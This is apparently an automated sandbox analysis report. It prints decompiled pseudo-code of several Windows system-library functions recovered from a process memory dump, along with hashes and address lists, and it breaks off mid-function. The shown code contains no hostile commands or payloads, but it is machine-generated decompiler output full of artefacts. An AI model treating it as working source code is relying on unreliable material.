0x00000000
0x03cb7a94
0x03cb79e2
0x00000000
0x03cb79e2
0x03cb7a74
0x03cb7a7a
0x00000000
0x00000000
0x03cb7a8a
0x03cb7a21
0x03cb7a21
0x00000000
0x03cb7a21
0x03c4c650
0x03c4c651
0x03c4c656
0x03c4c65c
0x03c4c65d
0x03c4c663
0x03c4c664
0x03c4c66a
0x03c4c66e
0x03cb79c5
0x03cb79c7
0x00000000
0x03cb79c7
0x03c4c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f5995639ed6336898b6d12a70da5fe4dd4457ef93b4d4aa72d8bfd1e5be52fd9
Instruction ID: b18d9bddfafe3dd71b863c9aab141efd96f3877dc218ee5881d0e5cb274ec295
Opcode Fuzzy Hash: f5995639ed6336898b6d12a70da5fe4dd4457ef93b4d4aa72d8bfd1e5be52fd9
Instruction Fuzzy Hash: 36816A75A44201DBCB25CF15C880AAAB7B9EFC8354F19886AED45DF240D731EE45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 03CDB8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E03CDB8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x3d37b9c; // 0x0
				_t124 = L03C64620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E03C89800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E03C895B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E03C895D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L03C677F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E03C89910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E03C895D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x3d37b9c; // 0x0
									_t92 = L03C64620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E03C89910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E03C4A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E03CDE7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E03CDE7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E03C895B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x03cdb8d9
0x03cdb8e4
0x00000000
0x03cdb8e6
0x03cdb8f3
0x03cdb8f5
0x03cdb8f5
0x03cdb8f8
0x03cdb920
0x03cdb924
0x03cdb936
0x03cdb939
0x03cdb93d
0x03cdb948
0x03cdb9a0
0x03cdb9a0
0x03cdb9a4
0x03cdb9bf
0x03cdb9c4
0x03cdb9c6
0x03cdb9cd
0x03cdb9d1
0x03cdbad4
0x03cdbad8
0x03cdbada
0x03cdbadc
0x03cdbadc
0x03cdbadf
0x03cdbae0
0x03cdbae2
0x03cdbae4
0x03cdbaec
0x03cdbaee
0x03cdbaf0
0x03cdbaf0
0x03cdbaec
0x03cdbafb
0x03cdbafc
0x03cdbafe
0x03cdbb01
0x03cdbb01
0x00000000
0x03cdbb06
0x03cdb9d7
0x03cdb9db
0x03cdb9db
0x03cdb9de
0x03cdb9de
0x03cdb9e4
0x03cdb9e7
0x03cdb9ea
0x03cdb9ec
0x03cdb9ef
0x03cdb9f3
0x03cdba1b
0x03cdba1b
0x03cdba23
0x03cdba24
0x03cdba27
0x03cdba2a
0x03cdba2b
0x03cdba2e
0x03cdba30
0x03cdba37
0x03cdba3f
0x03cdba9c
0x03cdbaa2
0x03cdbb13
0x03cdbb15
0x03cdbaae
0x03cdbaae
0x03cdbab3
0x03cdbab5
0x03cdbaba
0x03cdbac8
0x03cdbac8
0x03cdbaba
0x03cdbacd
0x03cdbacf
0x00000000
0x03cdbacf
0x03cdbb1a
0x00000000
0x03cdbb1c
0x03cdbaa7
0x03cdbb11
0x00000000
0x03cdbb11
0x03cdbaa9
0x00000000
0x00000000
0x00000000
0x00000000
0x03cdba41
0x03cdba41
0x03cdba41
0x03cdba58
0x03cdba5d
0x03cdba62
0x00000000
0x00000000
0x03cdba64
0x03cdba67
0x03cdba68
0x03cdba69
0x03cdba6c
0x03cdba6f
0x03cdba71
0x03cdba78
0x03cdba80
0x00000000
0x00000000
0x03cdba90
0x03cdba90
0x03cdba97
0x00000000
0x03cdba97
0x03cdb9f5
0x03cdb9f7
0x03cdb9f7
0x03cdb9fa
0x03cdba03
0x03cdba07
0x03cdba0c
0x03cdba10
0x03cdba17
0x00000000
0x03cdb9f7
0x03cdb9a6
0x03cdb9a8
0x03cdb9af
0x03cdb9b3
0x00000000
0x00000000
0x03cdb9b9
0x00000000
0x03cdb9b9
0x03cdb94d
0x03cdb98f
0x03cdb995
0x03cdb999
0x03cdb960
0x03cdb967
0x03cdb968
0x03cdb96a
0x00000000
0x03cdb96a
0x03cdb99b
0x03cdb99e
0x00000000
0x00000000
0x00000000
0x03cdb99e
0x03cdb951
0x03cdb954
0x03cdb95a
0x03cdb95e
0x03cdb972
0x03cdb979
0x03cdb97d
0x03cdb97f
0x03cdb980
0x03cdb982
0x03cdb984
0x00000000
0x03cdb984
0x00000000
0x03cdb926
0x00000000
0x03cdb926

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acbc0d9688805397daa5268d76e7d98df49760f9d3009e41fc392c525be8c9c1
Instruction ID: 9a00fdff1d3906a2e16b31f20fde4875c2f51dda6bc76f855afacf702dae261a
Opcode Fuzzy Hash: acbc0d9688805397daa5268d76e7d98df49760f9d3009e41fc392c525be8c9c1
Instruction Fuzzy Hash: 3171F036200B01AFD722DF15C884F66BBF5EB44724F1A4528F65ACB6A0DB75EE40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 03CC6DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E03CC6DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E03CC6B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E03C67D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E03C89AE0();
					_t87 = L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E03CC795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E03CC795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E03CC795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E03CC795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L03C64620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E03CC6B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E03CC6B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E03CC6B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E03CC6B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E03C67D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E03C89AE0();
								L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L03C62400( &_v36);
							if(_v24 >= 0) {
								_t87 = L03C62400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L03C62400( &_v52);
							}
							if(_v28 >= 0) {
								return L03C62400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x03cc6dd4
0x03cc6dde
0x03cc6de1
0x03cc6de3
0x03cc6de6
0x03cc6de9
0x03cc6dec
0x03cc6def
0x03cc6df2
0x03cc6df5
0x03cc6dfe
0x03cc6e04
0x03cc6e09
0x03cc6e0d
0x03cc6e18
0x03cc6e1b
0x03cc6e22
0x03cc6e2d
0x03cc6e30
0x03cc6e36
0x03cc6e42
0x03cc6e4d
0x03cc6e50
0x03cc6e55
0x03cc6e5c
0x03cc6e6e
0x03cc6e5e
0x03cc6e67
0x03cc6e67
0x03cc6e73
0x03cc6e74
0x03cc6e77
0x03cc6e7c
0x03cc6e7d
0x03cc6e8e
0x03cc6e93
0x03cc6e9c
0x03cc6ea8
0x03cc6eab
0x03cc6eac
0x03cc6eb3
0x03cc6ecd
0x03cc6edc
0x03cc6ee2
0x03cc6ee5
0x03cc6ef2
0x03cc6efb
0x03cc6f01
0x03cc6f06
0x03cc6f0b
0x03cc6f11
0x03cc6f1a
0x03cc6f22
0x03cc6f26
0x03cc6f26
0x03cc6f33
0x03cc6f41
0x03cc6f44
0x03cc6f47
0x03cc6f54
0x03cc6f65
0x03cc6f77
0x03cc6f7c
0x03cc6f82
0x03cc6f91
0x03cc6f99
0x03cc6fa3
0x03cc6fae
0x03cc6fae
0x03cc6fba
0x03cc6fbb
0x03cc6fbc
0x03cc6fc1
0x03cc6fc2
0x03cc6fd3
0x03cc6fd8
0x03cc6fd8
0x03cc6fdf
0x03cc6fe8
0x03cc6fee
0x03cc6fee
0x03cc6ff5
0x03cc6ffb
0x03cc6ffb
0x03cc7004
0x00000000
0x03cc700a
0x03cc7004
0x03cc6eb3
0x03cc6e9c
0x03cc7015

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: eef5e189298a1e043ba9f8912e95a669f1ff7696f93082cb06e9fe3261da9445
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: DD719A75A10249EFCB10DFA9CA84AEEFBB8FF48304F154569E505EB250DB30EA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 03C452A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E03C452A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E03C5EEF0(0x3d379a0);
					_t104 =  *0x3d38210; // 0x2ca1ea0
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					_t2 = _t104 + 8; // 0x28000000
					 *((intOrPtr*)(_t108 + 0x18)) =  *_t2;
					E03C5EB70(_t93, 0x3d379a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_t10 = _t104 + 4; // 0x0
							_push( *_t10);
							_t53 = E03C89890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E03C5EEF0(0x3d379a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E03C5EB70(0, 0x3d379a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t11 = _t104 + 0xe; // 0xca1eb802
								_t13 = _t104 + 0xc; // 0x2ca1ead
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E03C7F0BF(_t13,  *_t11 & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E03C5EEF0(0x3d379a0);
									__eflags =  *0x3d38210 - _t104; // 0x2ca1ea0
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x3d38210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t37 = _t104 + 0x10; // 0x2002ca1e
											_t95 =  *((intOrPtr*)( *_t37));
											E03CC4888(_t89,  *((intOrPtr*)( *_t37)), __eflags);
										}
										E03C5EB70(_t95, 0x3d379a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_t38 = _t104 + 4; // 0x0
											_push( *_t38);
											E03C895D0();
											L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_t41 = _t104 + 4; // 0x0
											_push( *_t41);
											E03C895D0();
											L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E03C5EB70(_t93, 0x3d379a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_t25 = _t104 + 4; // 0x0
										_push( *_t25);
										E03C895D0();
										L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E03C895D0();
										L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t15 = _t104 + 0x10; // 0x2002ca1e
								_t93 =  &_v20;
								_t17 = _t104 + 0xe; // 0xca1eb802
								 *((intOrPtr*)(_t108 + 0x20)) =  *_t15;
								_t85 = 6;
								_v20 = _t85;
								_t87 = E03C7F0BF( &_v20,  *_t17 & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x03c452a5
0x03c452ad
0x03c452b0
0x03c452b3
0x03c452b7
0x03c452ba
0x03c452bf
0x03c452c4
0x03c452cc
0x00000000
0x00000000
0x03c452ce
0x03c452d1
0x03c452d9
0x03c452dd
0x03c452e7
0x03c452f7
0x03c452f9
0x03c452fd
0x03ca0dcf
0x03ca0dd5
0x03ca0dd6
0x03ca0dd7
0x03ca0dd8
0x03ca0dd9
0x03ca0dde
0x03ca0ddf
0x03ca0de0
0x03ca0de1
0x03ca0de2
0x03ca0de2
0x03ca0de5
0x03ca0dea
0x03ca0dec
0x03ca0f60
0x03ca0f64
0x03ca0f70
0x03ca0f76
0x03ca0f79
0x03ca0f79
0x00000000
0x03ca0f64
0x03ca0df2
0x03ca0df7
0x03ca0e04
0x03ca0e04
0x03ca0e0d
0x03ca0e0d
0x03ca0e10
0x03ca0e1a
0x03ca0e1c
0x03ca0e4c
0x03ca0e52
0x03ca0e61
0x03ca0e67
0x03ca0e6b
0x03ca0e70
0x03ca0e76
0x03ca0ed7
0x03ca0edc
0x03ca0ee0
0x03ca0ee6
0x03ca0eea
0x03ca0eed
0x03ca0ef0
0x03ca0ef3
0x03ca0ef6
0x03ca0ef9
0x03ca0efb
0x03ca0efe
0x03ca0f01
0x03ca0f01
0x03ca0f0b
0x03ca0f12
0x03ca0f16
0x03ca0f18
0x03ca0f18
0x03ca0f1b
0x03ca0f2c
0x03ca0f31
0x03ca0f31
0x03ca0f35
0x03ca0f39
0x03ca0f3a
0x03ca0f3c
0x03ca0f3c
0x03ca0f3f
0x03ca0f50
0x03ca0f55
0x03ca0f55
0x03ca0f59
0x03c452eb
0x03c452f1
0x03c452f1
0x03ca0e7d
0x03ca0e84
0x03ca0e88
0x03ca0e8a
0x03ca0e8a
0x03ca0e8d
0x03ca0e9e
0x03ca0ea3
0x03ca0ea3
0x03ca0ea7
0x03ca0eaf
0x03ca0eb3
0x03ca0eb9
0x03ca0eb9
0x03ca0ebc
0x03ca0ecd
0x03ca0ecd
0x00000000
0x03ca0eb3
0x03ca0e1e
0x03ca0e21
0x03ca0e25
0x03ca0e2b
0x03ca0e2f
0x03ca0e30
0x03ca0e3a
0x03ca0e3f
0x03ca0e41
0x00000000
0x00000000
0x03ca0e47
0x00000000
0x03ca0e47
0x03ca0df9
0x03ca0dfe
0x00000000
0x00000000
0x00000000
0x03ca0dfe
0x03c45303
0x03c45307
0x00000000
0x03c45309
0x00000000
0x03c45309
0x03c45307
0x03c452e9
0x03c452e9
0x00000000
0x03c452e9
0x03c4530e
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b41fb4ccf1ac5fb6bf00796cea485f5f018bb478bb8b5671f5c8d0c3b1317903
Instruction ID: fe5e730522f5b757debfa25bf01f25fa264ba752a504b6312a04b3724d071eed
Opcode Fuzzy Hash: b41fb4ccf1ac5fb6bf00796cea485f5f018bb478bb8b5671f5c8d0c3b1317903
Instruction Fuzzy Hash: B151AA75205B42AFC321EF28C840B2BBBA8FF41714F15091AF895CB651E774EA44DB96

Uniqueness

Uniqueness Score: -1.00%

Function 03C72AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C72AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x3d38204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x3d38208; // 0x3d38207
				_t8 = _t57 + 0x3d38208; // 0x3d38207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x3d38450; // 0x2ca3e6c
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x3d3821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x3d36d5c; // 0x7f3e0654
							_t72 =  *0x3d36d5c; // 0x7f3e0654
							_t75 =  *0x3d36d5c; // 0x7f3e0654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x3d36d5c; // 0x7f3e0654
							_t84 =  *0x3d36d5c; // 0x7f3e0654
							_t87 =  *0x3d36d5c; // 0x7f3e0654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E03C8F3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
